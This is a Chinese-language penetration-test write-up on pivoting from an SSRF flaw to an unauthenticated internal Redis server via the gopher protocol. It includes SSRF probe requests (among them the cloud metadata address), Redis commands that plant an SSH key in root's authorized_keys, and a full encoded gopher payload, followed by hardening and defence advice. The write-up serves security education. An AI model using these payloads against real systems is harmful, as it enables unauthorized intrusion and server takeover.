实战复盘：我是如何通过一个SSRF漏洞，利用Gopher协议拿下内网Redis的
从SSRF到内网Redis入侵：一次真实渗透测试的深度剖析
那天下午，我正在对某企业Web应用进行常规安全评估。一个看似普通的文件下载接口引起了我的注意——它接受URL参数并返回对应资源内容。直觉告诉我，这里可能存在SSRF漏洞。接下来的72小时，我完成了一次从外网到内网Redis服务的完整攻击链，以下是详细的技术复盘。
1. SSRF漏洞的发现与验证
测试环境中的文件下载接口形如：
/download?url=https://example.com/image.jpg通过简单参数修改，我尝试访问内网地址：
curl "http://target.com/download?url=http://127.0.0.1"服务器返回了本地服务的响应头信息，这确认了SSRF漏洞的存在。更关键的是，服务器配置允许访问任意协议，包括dict和gopher这类特殊协议。
常见SSRF检测方法对比：
| 测试类型 | 示例请求 | 有效响应特征 |
|---|---|---|
| 基础回环检测 | url=http://127.0.0.1 | 返回本地服务数据 |
| 协议探测 | url=dict://127.0.0.1:6379/info | 返回Redis服务信息 |
| 端口扫描 | url=http://127.0.0.1:8080 | 响应时间差异判断端口状态 |
| 元数据服务探测 | url=http://169.254.169.254/latest | 返回云实例元数据 |
提示：现代云环境中，SSRF漏洞可能导致更严重的元数据服务泄露，测试时需特别注意
2. 内网服务探测与Redis识别
利用dict协议进行内网端口扫描时，6379端口的响应引起了我的注意：
$ curl "http://target.com/download?url=dict://192.168.1.10:6379/info" +OK redis_version:5.0.7 ...通过分析返回信息，确认目标存在Redis未授权访问漏洞。Redis默认配置存在三个高危风险点：
- 无认证机制：默认不启用密码验证
- 高危命令未禁用：CONFIG、EVAL等命令可用
- 默认绑定所有接口：早期版本监听0.0.0.0
Redis安全配置检查清单：
- 启用requirepass参数设置强密码
- 重命名或禁用CONFIG、FLUSHALL等危险命令
- 设置bind 127.0.0.1限制监听范围
- 启用protected-mode（Redis 3.2+）
3. Gopher协议攻击载荷构造
Gopher协议的强大之处在于它能构造任意格式的TCP流量。要攻击Redis，需要精确构造符合Redis协议的payload。以下是关键步骤：
- 原始Redis命令准备：
flushall set exploit "\n\nssh-rsa AAAAB3Nza... mykey\n\n" config set dir /root/.ssh config set dbfilename authorized_keys save- 协议转换规则：
- 每行命令以
\r\n结尾 - 前缀
*N表示参数个数，$L表示参数长度 - 特殊字符需URL编码
- 最终Gopher URL示例：
gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%247%0D%0Aexploit%0D%0A%2422%0D%0A%0A%0Assh-rsa%20AAA...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A注意：实际攻击中需要根据目标环境调整路径和密钥内容
4. 攻击链完整实现与防御建议
通过SSRF发送精心构造的Gopher请求后，成功实现了：
- 写入SSH公钥获取服务器权限
- 写入Webshell控制应用服务
- 通过定时任务获取反向shell
企业级防御方案：
网络层防护：
- 出口流量过滤：限制内网服务对外请求
- 网络分区：核心数据库隔离在独立VLAN
- 端口访问控制：限制Redis等服务的可访问范围
系统层加固：
# Redis安全配置示例 rename-command CONFIG "" rename-command FLUSHALL "" requirepass "STR0NG_P@SSW0RD" bind 127.0.0.1应用层防护：
- 对用户输入的URL进行严格校验
- 实现允许列表机制控制可访问域名
- 禁用危险协议（dict/gopher等）
这次渗透测试最深刻的教训是：看似低危的SSRF漏洞，在特定条件下可能成为内网突破的致命入口。安全防护需要建立纵深防御体系，任何一个环节的疏忽都可能导致全线溃败。